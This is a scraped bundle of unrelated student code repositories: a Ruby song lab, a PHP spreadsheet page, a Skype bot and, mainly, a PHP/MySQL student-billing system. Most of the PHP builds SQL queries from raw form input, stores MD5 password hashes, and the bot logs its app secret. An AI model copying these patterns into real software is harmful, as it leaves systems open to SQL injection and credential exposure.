refs/heads/master | <repo_name>kskilt/phrg-ruby-advanced-class-methods-lab-pca-000<file_sep>/lib/song.rb
require 'pry'
class Song
attr_accessor :name, :artist_name
@@all = []
def initialize(name = nil)
@name = name
end
def self.all
@@all
end
def self.create
new_instance = new
new_instance.save
new_instance
end
def self.new_by_name(name)
new(name)
end
def self.create_by_name(song_name)
song = self.create
song.name = song_name
song
end
def self.find_by_name(song_name)
self.all.detect{|s| s.name == song_name}
end
def self.find_or_create_by_name(song_name)
self.find_by_name(song_name) || self.create_by_name(song_name)
end
def self.alphabetical
all.sort_by(&:name)
end
def self.new_from_filename(filename)
song_name = filename.split(" - ").last.split(".").first
artist_name = filename.split(" - ").first
song = self.new(song_name)
song.artist_name = artist_name
song
end
def self.create_from_filename(filename)
new_from_filename(filename).save
end
def self.destroy_all
@@all.clear
end
def save
@@all << self
end
end
| 5bfaaac630331829c74eda5b10bc814d70648d57 | [
"Ruby"
] | 1 | Ruby | kskilt/phrg-ruby-advanced-class-methods-lab-pca-000 | f9e706879be554afe4185ad5d060bd6992ce337e | 14fc59c2eecada4decc24c5c17f7f6406f94ef40 |
refs/heads/master | <repo_name>kaiofgl/Spreadsheet-Processing<file_sep>/index.php
<!--
_ _ /\/| ____
| \ | | |/\/ / __ \
| \| | / \ | | | |
| . ` | / _ \| | | |
| |\ |/ ___ \ |__| |
|_|_\_/_/___\_\____/__
|__ __| ____| \/ |
| | | |__ | \ / |
| | | __| | |\/| |
| | | |____| | | |
_ |_| |______|_|__|_|
| \ | | /\ | __ \ /\
| \| | / \ | | | | / \
| . ` | / /\ \ | | | |/ /\ \
| |\ |/ ____ \| |__| / ____ \
|_| \_/_/ ___\_\_____/_/____\_\
/\ / __ \| | | |_ _|
/ \ | | | | | | | | |
/ /\ \| | | | | | | | |
/ ____ \ |__| | |__| |_| |_
/_/____\_\___\_\\____//\/|__|___
| ____| \ | |__ __|/\/ / __ \
| |__ | \| | | | / \ | | | |
| __| | . ` | | | / _ \| | | |
| |____| |\ | | | / ___ \ |__| |
|______|_| \_| |_|/_/ \_\____/
\ \ / /\ |___ / /\
\ \ / / \ / / / \
\ \/ / /\ \ / / / /\ \
\ / ____ \ / /__ / ____ \
\/_/ \_\/_____/_/ \_\
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>PROCESSAMENTO DE DADOS</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/jquery.min.js"></script>
<script src="js/jszip.js"></script>
<script src="js/xlsx.js"></script>
</head>
<body>
<?php
session_start()
?>
<div class="tela-inteira">
<h1 class="loading-processando">PROCESSANDO</h1>
<div class="lds-ripple"><div></div><div></div></div>
</div>
<div class="inteiro">
<h1 class="center-text bold">PROCESSAMENTO DE DADOS</h1>
<h2 class="center-text black">SISTEMA DE PROCESSAMENTO DE PLANILHAS</h2>
</div>
<form>
<div class="input-file-container-center">
<div class="input-file-container">
<img class="img-excel" src="img/excel.png" alt="">
<h3 class="h3-arraste">Arraste o arquivo .xlsx aqui<br>ou</h3>
<input class="input-file" type="file" id="my-file" name="files[]" accept=".xlsx" >
<label for="my-file" class="input-file-click">Selecione o arquivo no seu computador</label>
<!-- <p class="arquivo-selecionado">Nenhum arquivo selecionado</p> -->
<!-- LOADING TEST -->
</div>
</div>
<!-- <div class="container-final">
<p class="p-titulo">Desenvolvido por:</p>
<p class="p-nomes">nome1<br>nome1<br>nome1<br>nome1<br>nome1<br></p>
</div> -->
</form>
<div class="output-json">
<p style="color:#fff">olá</p>
</div>
<div class="bnt-center">
<button id="btn-enviar">PROCESSAR</button>
</div>
</body>
</html><file_sep>/README.md
# Spreadsheet-Processing
Apresentação de sistema de processamento de arquivos .xslx ( planilhas )
Sistema feito para processamento de dados de planilhas.
O sistema foi feito para o processamento de planilhas, onde você entra com um arquivo .xslx e ele retorna dados para uma futura tabela ou afins.
| ce1b3b6847ef98093f1148e228ab5d421cae7b01 | [
"Markdown",
"PHP"
] | 2 | PHP | kaiofgl/Spreadsheet-Processing | 471a5853e9d0a300cb35e2ebaa2395de9aaa434b | d880afd5535ffcdfdb4b78adf9e25760ec5e93e4 |
refs/heads/master | <repo_name>sujang/skype_bot_test<file_sep>/Server.js
const fs = require('fs');
const restify = require('restify');
const skype = require('skype-sdk');
console.log('Server.js Called');
console.log('BOT_ID:'+process.env.BOT_ID);
console.log('APP_ID:'+process.env.APP_ID);
console.log('APP_SECRET:'+process.env.APP_SECRET);
const botService = new skype.BotService({
messaging: {
// botId: process.env.BOT_ID,
botId: '28:testBot',
// botId: '28:'+process.env.BOT_ID,
serverUrl : "https://apis.skype.com",
requestTimeout : 30000,
appId: process.env.APP_ID,
appSecret: process.env.APP_SECRET
}
});
if (botService) {
console.log('botService Created');
console.log(botService);
}
botService.on('contactAdded', (bot, data) => {
bot.reply(`Hello ${data.fromDisplayName}!`, true);
});
botService.on('personalMessage', (bot, data) => {
console.log('onPersonalMessage Recieved');
console.log(bot);
console.log(data);
bot.send('ais_k_kangsujang', 'aaaaa', true);
bot.reply('aaaa', true);
bot.reply(`Hey ${data.from}. Thank you for your message: "${data.content}".`, true);
});
botService.on('message', (bot, data) => {
console.log('Message Recieved');
console.log(bot);
console.log(data);
bot.send('ais_k_kangsujang', 'aaaaa', true);
bot.reply('aaaa', true);
bot.reply(`Hey ${data.from}. Thank you for your message: "${data.content}".`, true);
});
const server = restify.createServer();
console.log('server Created');
/* Uncomment following lines to enable https verification for Azure.
server.use(skype.ensureHttps(true));
server.use(skype.verifySkypeCert({}));
*/
const port = process.env.PORT || 8080;
server.post('https://skypebot.herokuapp.com/v1/chat/', skype.messagingHandler(botService));
server.listen(port);
console.log('Listening for incoming requests on port ' + port); | 0bba6599fb26d0fdd162d5b17e443a126e649eb2 | [
"JavaScript"
] | 1 | JavaScript | sujang/skype_bot_test | 63510f8cc261f4dac6cae33138ec87b07015a0b6 | 9c7620644869337cde1e9585f64fdafcc66ef66b |
refs/heads/master | <repo_name>gustavo-ren/Fun-es<file_sep>/FunctionsUdemy/main.cpp
#include <iostream>
#include <math.h>
using namespace std;
int potencia(int i);
int r;
int main()
{
cin >> r ;
cout << potencia(r) << endl;
return 0;
}
int potencia(int i){
return pow(i, 2);
}
| 0e5afbe1eb157960a1782c264cd0507c558d0e95 | [
"C++"
] | 1 | C++ | gustavo-ren/Fun-es | 9b53c6e635e291558f93e76a0adac738ba2a1a7c | 3e40d42191208892f0254d3758565e08eb5efe1f |
refs/heads/master | <file_sep><?php
include ("../../config.php");
if (isset($_POST['Submit'])) {
$nim = $_POST['nim_mhs'];
$prstudi = $_POST['program_studi'];
$nama = $_POST['nama_mhs'];
$tahun_masuk = $_POST['tahun_masuk'];
$semester = $_POST['semester'];
$status_aktif = $_POST['status_ak'];
$query = "SELECT * FROM M_MHS WHERE NAMA_MHS = '".$nama."' AND DELETED_MHS = 0 ";
$hasil = mysqli_query($host,$query);
$cek = mysqli_num_rows($hasil);
if ($cek > 0) {
echo "<script>alert('Mahasiswa $nama sudah terdaftar');
window.location='../form/form_mahasiswa.php'</script>";
}else {
$query = "INSERT INTO M_MHS(ID_MHS,ID_PRODI,NAMA_MHS,THN_MASUK,SEMESTER_MHS,
STATUS_AKTIF,DELETED_MHS) VALUES('$nim','$prstudi','$nama','$tahun_masuk','$semester','$status_aktif',0)";
$simpan = mysqli_query($host,$query);
echo "<script>alert('Mahasiswa $nama berhasil ditambahkan');
window.location='../data/data_mahasiswa.php'</script>";
}
}
?><file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
$sql = "SELECT * FROM M_JNS_TAGIHAN WHERE ID_JNS_TAGIHAN = '".$id."'";
$result = mysqli_query($host,$sql);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
}
}
if (isset($_POST['Submit'])) {
$nama_tagihan = $_POST['nama_jns_tagihan'];
$sql = "UPDATE M_JNS_TAGIHAN SET NAMA_JNS_TAGIHAN = '".$nama_tagihan."'
WHERE ID_JNS_TAGIHAN = '".$id."'";
$result = mysqli_query($host,$sql);
if ($result) {
echo "<script>alert('Data berhasil di update');
window.location='../data/data_jns_tagihan.php'</script>";
}else{
echo "<script>alert('Data gagal di update');
window.location='edit_jns_tagihan.php'</script>";
}
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Update Data Jenis Tagihan</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="../../asset/css/style.css" rel="stylesheet">
<script type="text/javascript" src="../../asset/js/jquery-3.4.0.min.js"></script>
</head>
<body>
<!--Navbar-->
<nav class="navbar navbar-expand-md navbar-light navbar-laravel">
<div class="container">
<a class="navbar-brand" href="dashboard.php">SipenBaku</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"></ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item"><a class="btn btn-outline-danger" href="../data/data_jns_tagihan.php"><i class="fa fa-sign-out-alt"></i>Kembali</a></li>
</ul>
</div>
</div>
</nav>
<!--Content-->
<div class="container">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
Form Tambah Jenis Tagihan
</div>
<div class="card-body">
<form name="form1" action="" method="post">
<div class="form-group">
<label for="nama">ID Jenis Tagihan</label>
<input type="text" name="id_jns_tagihan" id="id_jns_tagihan" class="form-control" placeholder="Id Tagihan" value="<?php echo $row['ID_JNS_TAGIHAN'];?>" readonly>
</div>
<div class="form-group">
<label for="nama">Nama Jenis Tagihan</label>
<input type="text" name="nama_jns_tagihan" class="form-control" value="<?php echo $row['NAMA_JNS_TAGIHAN'];?>" placeholder="Nama Tagihan">
</div>
<div class="form-group">
<button type="submit" name="Submit" class="btn btn-primary waves">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
<file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>SipenBaku</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="../../asset/css/style.css" rel="stylesheet">
</head>
<body>
<div class="d-flex" id="wrapper">
<!-- Sidebar -->
<div class="bg-light border-right" id="sidebar-wrapper">
<div class="sidebar-heading">Dashboard</div>
<div class="list-group list-group-flush">
<a href="../data/data_tagihan.php" class="list-group-item list-group-item-action bg-light">Master Tagihan</a>
<a href="../data/data_jns_tagihan.php" class="list-group-item list-group-item-action bg-light">Master Jenis Tagihan</a>
<a href="../data/data_pengguna.php" class="list-group-item list-group-item-action bg-light">Master Pegawai</a>
<a href="../data/data_mahasiswa.php" class="list-group-item list-group-item-action bg-light">Master Mahasiswa</a>
<a href="../data/data_prodi.php" class="list-group-item list-group-item-action bg-light">Master Prodi</a>
<a href="../data/data_pembayaran.php" class="list-group-item list-group-item-action bg-light">Transaksi Pembayaran</a>
<a href="../data/data_trx_tagihan.php" class="list-group-item list-group-item-action bg-light">Transaksi Tagihan</a>
</div>
</div>
<!-- /#sidebar-wrapper -->
<!-- Page Content -->
<div id="page-content-wrapper">
<nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom">
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto mt-2 mt-lg-0">
<li class="nav-item active">
<a class="nav-link" href="../otentikasi/logout.php">Logout</a>
</ul>
</div>
</nav>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
</body>
</html>
<file_sep><?php
session_start();
require_once('../../config.php');
if (isset($_POST['Submit'])) {
$nip = $_POST['nip'];
$last_login = date('Y-d-m H:i:s');
$password = md5($_POST['password']);
$sql = "select * from M_PEGAWAI
where ID_PEGAWAI = '".$nip."' and PASS_PEGAWAI = '".$password."'";
$result = mysqli_query($host,$sql);
$cek = mysqli_num_rows($result);
if ($cek > 0) {
$sql = "UPDATE M_PEGAWAI SET LAST_LOGIN = '".$last_login."' WHERE ID_PEGAWAI = '".$nip."' ";
$hasil = mysqli_query($host,$sql);
$_SESSION['nip'] = $nip;
echo "<script>alert('Selamat Datang');
window.location='../dashboard/dashboard.php'</script>";
}else {
echo "<script>alert('Maaf anda tidak memiliki akses');
window.location='../../index.html'</script>";
}
}
?>
<file_sep><?php
include ("../../config.php");
if (isset($_POST['Submit'])) {
$id = $_POST['id_tagihan'];
$jns_tagihan = $_POST['jenis_tagihan'];
$id_prodi = $_POST['prodi'];
$semester = $_POST['semester'];
$tahun_ajaran = $_POST['tahun_ajaran'];
$jumlah = $_POST['jumlah'];
$sql = "SELECT * FROM M_TAGIHAN WHERE ID_JNS_TAGIHAN = '".$jns_tagihan."' AND
ID_PRODI = '".$id_prodi."'AND DELETED_TAGIHAN = 0 ";
$result = mysqli_query($host,$sql);
if (mysqli_num_rows($result) > 0) {
echo "<script>alert('Tagihan Sudah Terdaftar');
window.location='../form/form_m_tagihan.php'</script>";
}else {
$sql = "INSERT INTO M_TAGIHAN(ID_TAGIHAN,ID_JNS_TAGIHAN,ID_PRODI,SEMESTER,
THN_AJARAN,JUMLAH,DELETED_TAGIHAN) VALUES('$id', '$jns_tagihan','$id_prodi',
'$semester','$tahun_ajaran',$jumlah,0)";
$result = mysqli_query($host,$sql);
if ($result) {
echo "<script>alert('Tagihan $id Berhasil Ditambahkan');
window.location='../data/data_tagihan.php'</script>";
}else {
echo "<script>alert('Tagihan $id Gagal Ditambahkan');
window.location='../form/form_m_tagihan.php'</script>";
}
}
}
?>
<file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Tambah Data Mahasiswa</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Include Bootstrap Datepicker -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css" rel="stylesheet"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.min.js"></script>
</head>
<body>
<!--Navbar-->
<nav class="navbar navbar-expand-md navbar-light navbar-laravel">
<div class="container">
<a class="navbar-brand" href="dashboard.php">SipenBaku</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"></ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item"><a class="btn btn-outline-danger" href="../data/data_tagihan.php"><i class="fa fa-sign-out-alt"></i>Kembali</a></li>
</ul>
</div>
</div>
</nav>
<!--Content-->
<div class="container">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
Form Tambah Data Tagihan
</div>
<div class="card-body">
<?php
include('../../config.php');
$sql = "SELECT MAX(ID_TAGIHAN) AS id_tagihan FROM M_TAGIHAN";
$result = mysqli_query($host,$sql);
$data = mysqli_fetch_array($result);
$getCode = substr($data['id_tagihan'],7,4);
$tambah = $getCode+1;
if ($tambah > 100) {
$id_urut = "0".$tambah;
}elseif ($tambah > 10) {
$id_urut = "00".$tambah;
}else {
$id_urut = "000 ".$tambah;
}
?>
<form name="form2" action="../proses/simpan_m_tagihan.php" method="post">
<div class="form-group">
<label for="id_tagihan">ID Tagihan</label>
<input type="text" class="form-control" id="id_tagihan" name="id_tagihan" placeholder="ID Tagihan" >
</div>
<div class="form-group">
<label for="jenis_tagihan">Jenis Tagihan</label>
<select name="jenis_tagihan" id="jenis_tagihan" class="form-control">
<option value="">----</option>
<?php
include('../../config.php');
$query = "SELECT * FROM M_JNS_TAGIHAN WHERE DELETED_JNS_TAGIHAN = 0";
$result = mysqli_query($host,$query);
while($row = mysqli_fetch_array($result)){
echo '
<option value="' . $row['ID_JNS_TAGIHAN'] . '">' . $row['NAMA_JNS_TAGIHAN'] . '</option>';
}
?>
</select>
</div>
<div class="form-group">
<label for="prodi">Program Studi</label>
<select name="prodi" id="prodi" class="form-control">
<option value="">----</option>
<?php
include('../../config.php');
$sql = "SELECT * FROM M_PRODI WHERE DELETED_PRODI = 0";
$result = mysqli_query($host,$sql);
while ($row = mysqli_fetch_array($result)) {
echo '
<option value="' . $row['ID_PRODI'] . '">' . $row['NAMA_PRODI'] . '</option>';
}
?>
</select>
</div>
<div class="form-group">
<label for="semester">Semester</label>
<input type="text" class="form-control" name="semester" placeholder="Semester">
</div>
<div class="form-group date">
<label for="tahun_ajaran">Tahun Ajaran</label>
<input type="text" class="form-control" id="tahun_ajaran" name="tahun_ajaran">
</div>
<div class="form-group">
<label for="jumlah">Jumlah</label>
<input type="text" id="jumlah" name="jumlah" class="form-control" placeholder="Jumlah">
</div>
<div class="form-group">
<button class="btn btn-primary waves" type="submit" name="Submit">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$(function () {
$("#tahun_ajaran").datepicker({
format: " yyyy", // Notice the Extra space at the beginning
viewMode: "years",
minViewMode: "years"
});
});
$('#jenis_tagihan').on("change", function (){
var tgl = new Date();
var data = "<?php echo $id_urut ?>";
var mtgh = "MTGH"
$('#id_tagihan').val(mtgh+tgl.getDate()+data);
});
</script>
</body>
</html>
<file_sep><table class="table table-striped table-bordered" id="dt_table" style="width:100%">
<thead>
<tr>
<th><input type="checkbox" id = "all" /></th>
<th>ID Mahasiswa</th>
<th>ID Prodi</th>
<th>Nama Mahasiswa</th>
<th>Semester Mahasiswa</th>
<th>Status Aktif</th>
</tr>
</thead>
<tbody>
<?php
include('../../config.php');
$id_prodi = $_POST['prodi'];
$semester = $_POST['semester'];
$sql = "SELECT * FROM M_MHS WHERE ID_PRODI = '".$id_prodi."' AND SEMESTER_MHS = '".$semester."' ";
$result = mysqli_query($host, $sql);
?>
<?php
while($data = mysqli_fetch_assoc($result)) {
?>
<tr>
<td class="text-center"><input type="checkbox" value="<?php echo $data['ID_MHS'];?>" name="data[]" class = "subpil" /></td>
<td class="text-center"><?php echo $data['ID_MHS']; ?></td>
<td class="text-center"><?php echo $data['ID_PRODI']; ?></td>
<td class="text-center"><?php echo $data['NAMA_MHS']; ?></td>
<td class="text-center"><?php echo $data['SEMESTER_MHS']; ?></td>
<td class="text-center"><?php if($data['STATUS_AKTIF'] == '1'){echo 'Aktif';}else{echo 'Tidak Aktif';}; ?></td>
</tr>
<?php }?>
</tbody>
</table>
<script type="text/javascript">
$(function(){
$("#all").click(function(){
$('.subpil').attr('checked', this.checked);
});
});
</script><file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>SipenBaku</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="../../asset/css/style.css" rel="stylesheet">
</head>
<body>
<div class="d-flex" id="wrapper">
<!-- Sidebar -->
<div class="bg-light border-right" id="sidebar-wrapper">
<div class="sidebar-heading">Dashboard</div>
<div class="list-group list-group-flush">
<a href="../dashboard/dashboard.php" class="list-group-item list-group-item-action bg-light">Home</a>
</div>
</div>
<!-- /#sidebar-wrapper -->
<!-- Page Content -->
<div id="page-content-wrapper">
<nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom">
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto mt-2 mt-lg-0">
<li class="nav-item active">
</ul>
</div>
</nav>
<div class="container">
<div class="row justify-content center">
<div class="col-md-12">
<div class="card">
<div class="card-header">List Transaksi Tagihan</div>
<div class="card-body">
<table class="table table-striped table-bordered" style="width:100%">
<thead>
<tr>
<th class="text-center">ID Transaksi</th>
<th class="text-center">ID Tagihan</th>
<th class="text-center">ID Pegawai</th>
<th class="text-center">ID Mahasiswa</th>
<th class="text-center">Tanggal Tagihan</th>
<th class="text-center">Jumlah Kurang</th>
<th class="text-center">Pembayaran</th>
</tr>
</thead>
<tbody>
<?php
$sql = "SELECT * FROM TR_TAGIHAN ";
$result = mysqli_query($host, $sql);
while($data = mysqli_fetch_assoc($result)){
?>
<tr>
<td class="text-center"><?php echo $data['ID_TR_TAGIHAN']; ?></td>
<td class="text-center"><?php echo $data['ID_TAGIHAN']; ?></td>
<td class="text-center"><?php echo $data['ID_PEGAWAI']; ?></td>
<td class="text-center"><?php echo $data['ID_MHS']; ?></td>
<td class="text-center"><?php echo $data['TGL_TAGIHAN']; ?></td>
<td class="text-center"><?php echo $data['JUMLAH_KURANG']; ?></td>
<td>
<a href="../proses/proses_pembayaran.php?id=<?php echo $data['ID_TR_TAGIHAN'] ?>" class="btn text-center btn-info"><i class="fa fa-user-edit">Bayar</i></a>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
</body>
</html>
<file_sep># UnixUser Project
**Contributor :**
1. <NAME> (01)
2. <NAME>(6)
3. <NAME>(15)
**About Project :**
Project ini dikembangkan untuk mememenuhi nilai salah satu mata kuliah proyek 1
<file_sep><?php
include ("../../config.php");
if (isset($_POST['Submit'])) {
$id = $_POST['id_prodi'];
$nama = $_POST['nama_prodi'];
$query = "SELECT * FROM M_PRODI WHERE NAMA_PRODI = '".$nama."' and DELETED_PRODI = 0";
$data = mysqli_query($host,$query);
$cek = mysqli_num_rows($data);
if ($cek > 0) {
echo "<script>alert('Prodi $nama sudah terdaftar');
window.location='../form/form_prodi.php'</script>";
}else {
$query_simpan = "INSERT INTO M_PRODI(ID_PRODI,NAMA_PRODI,DELETED_PRODI)
VALUES('$id','$nama',0)";
$simpan = mysqli_query($host,$query_simpan);
echo "<script>alert('Prodi $nama berhasil ditambahkan');
window.location='../data/data_prodi.php'</script>";
}
}
?>
<file_sep><?php
include ("../../config.php");
if (isset($_POST['Submit'])) {
$id = $_POST['id_jns_tagihan'];
$nama = $_POST['nama_jns_tagihan'];
$query = "SELECT * FROM M_JNS_TAGIHAN WHERE NAMA_JNS_TAGIHAN = '".$nama."' and DELETED_JNS_TAGIHAN = 0";
$data = mysqli_query($host,$query);
$cek = mysqli_num_rows($data);
if ($cek > 0) {
echo "<script>alert('Jenis Tagihan $nama Sudah Terdaftar');
window.location='../form/form_jns_tagihan.php'</script>";
}else {
$query_simpan = "INSERT INTO M_JNS_TAGIHAN(ID_JNS_TAGIHAN,NAMA_JNS_TAGIHAN,DELETED_JNS_TAGIHAN)
VALUES('$id','$nama',0)";
$simpan = mysqli_query($host,$query_simpan);
echo "<script>alert('Jenis Tagihan $nama berhasil ditambahkan');
window.location='../data/data_jns_tagihan.php'</script>";
}
}
?>
<file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Tambah Data Mahasiswa</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Include Bootstrap Datepicker -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css" rel="stylesheet"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.min.js"></script>
</head>
<body>
<!--Navbar-->
<nav class="navbar navbar-expand-md navbar-light navbar-laravel">
<div class="container">
<a class="navbar-brand" href="dashboard.php">SipenBaku</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"></ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item"><a class="btn btn-outline-danger" href="data_mahasiswa.php"><i class="fa fa-sign-out-alt"></i>Kembali</a></li>
</ul>
</div>
</div>
</nav>
<!--Content-->
<div class="container">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
Form Tambah Mahasiswa
</div>
<div class="card-body">
<form name="form2" action="../proses/simpanmhs.php" method="post">
<div class="form-group">
<label for="nim_mhs">NIM</label>
<input type="text" class="form-control" id="nim_mhs" name="nim_mhs" placeholder="NIM" >
</div>
<div class="form-group">
<label for="program_studi">Program Studi</label>
<select name="program_studi" id="program_studi" name="program_studi" class="form-control">
<option value="">----</option>
<?php
include('../../config.php');
$query = "SELECT * FROM M_PRODI WHERE DELETED_PRODI = 0";
$result = mysqli_query($host,$query);
while($row = mysqli_fetch_array($result)){
echo '
<option value="' . $row['ID_PRODI'] . '">' . $row['NAMA_PRODI'] . '</option>';
}
?>
</select>
</div>
<div class="form-group">
<label for="nama_mhs">Nama Mahasiswa</label>
<input type="text" class="form-control" typel="text" name="nama_mhs" placeholder="Nama Mahasiswa">
</div>
<div class="form-group date">
<label for="tahun_masuk">Tahun Masuk</label>
<input type="text" class="form-control" id="tahun_masuk" name="tahun_masuk">
</div>
<div class="form-group">
<label for="semester">Semester</label>
<input type="text" id="semester" name="semester" class="form-control" placeholder="Semester">
</div>
<div class="form-group">
<label for="semester">Status Aktif</label>
<select name="status_ak" id="status_ak" class="form-control">
<option value="">-------</option>
<option value="1">Aktif</option>
<option value="0">Tidak Aktif</option>
</select>
</div>
<div class="form-group">
<button class="btn btn-primary waves" type="submit" name="Submit">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$(function () {
$("#tahun_masuk").datepicker({
format: " yyyy", // Notice the Extra space at the beginning
viewMode: "years",
minViewMode: "years"
});
});
</script>
</body>
</html>
<file_sep><?php
include('../../config.php');
if (isset($_GET['simpan'])) {
$id_tagihan = $_GET['id_tagihan'];
$jml_tagihan = $_GET['jml_tagihan'];
$id_pegawai = $_GET['id_pegawai'];
$tgl_tagihan = $_GET['tgl_tagihan'];
$id_prodi = $_GET['prodi'];
$id_mahasiswa = $_GET['data'];
//contoh ID TRX = TTGH110501
$sql_id = "SELECT MAX(ID_TR_TAGIHAN) AS id_tagihan_trx FROM TR_TAGIHAN";
$result = mysqli_query($host, $sql_id);
$data = mysqli_fetch_array($result);
$getTrx = substr($data['id_tagihan_trx'],8,2);
$tambah = $getTrx+1;
$jumlah_data = count($id_mahasiswa);
for ($i=0; $i < $jumlah_data ; $i++) {
$id_trx = "TTGH".date("d").date("s").$i;
$sql = "INSERT INTO TR_TAGIHAN(ID_TR_TAGIHAN,ID_TAGIHAN,ID_PEGAWAI,ID_MHS,TGL_TAGIHAN,JUMLAH_KURANG,DELETED_TR_TAGIHAN) VALUES('$id_trx','$id_tagihan','$id_pegawai','$id_mahasiswa[$i]', '$tgl_tagihan', '$jml_tagihan',0)";
$simpan = mysqli_query($host,$sql);
echo mysqli_error($host);
}
if ($simpan) {
$update_tagihan = "UPDATE M_TAGIHAN SET GENERATE = 1 WHERE ID_TAGIHAN ='".$id_tagihan."' ";
$update = mysqli_query($host,$update_tagihan);
echo "<script>alert('Transaksi Berhasil di generate');
window.location='../data/data_tagihan.php'</script>";
}else {
echo "<script>alert('Transaksi Gagal di generate');
window.location='../data/data_tagihan.php'</script>";
}
}
?><file_sep><?php
include ("../../config.php");
if (isset($_POST['Submit'])) {
$id = $_POST['id_pegawai'];
$nama = $_POST['nama_pegawai'];
$pass = md5($_POST['pass_pegawai']);
$last = $_POST['last_login'];
$delete = $_POST['deleted_pegawai'];
$query = "SELECT * FROM M_PEGAWAI WHERE NAMA_PEGAWAI = '$nama'";
$data = mysqli_query($host,$query);
$cek = mysqli_num_rows($data);
if ($cek > 0) {
echo "<script>alert('Pegawai .$nama. sudah terdaftar');
window.location='../src/dashboard/form_pengguna.php'</script>";
}else {
$query_simpan = "INSERT INTO M_PEGAWAI(ID_PEGAWAI,NAMA_PEGAWAI,PASS_PEGAWAI,LAST_LOGIN,DELETED_PEGAWAI)
VALUES('$id','$nama','$pass','$last','$delete')";
$simpan = mysqli_query($host,$query_simpan);
echo "<script>alert('Pengguna $nama berhasil ditambahkan');
window.location='../dashboard/form_pengguna.php'</script>";
}
}
?>
<file_sep><?php
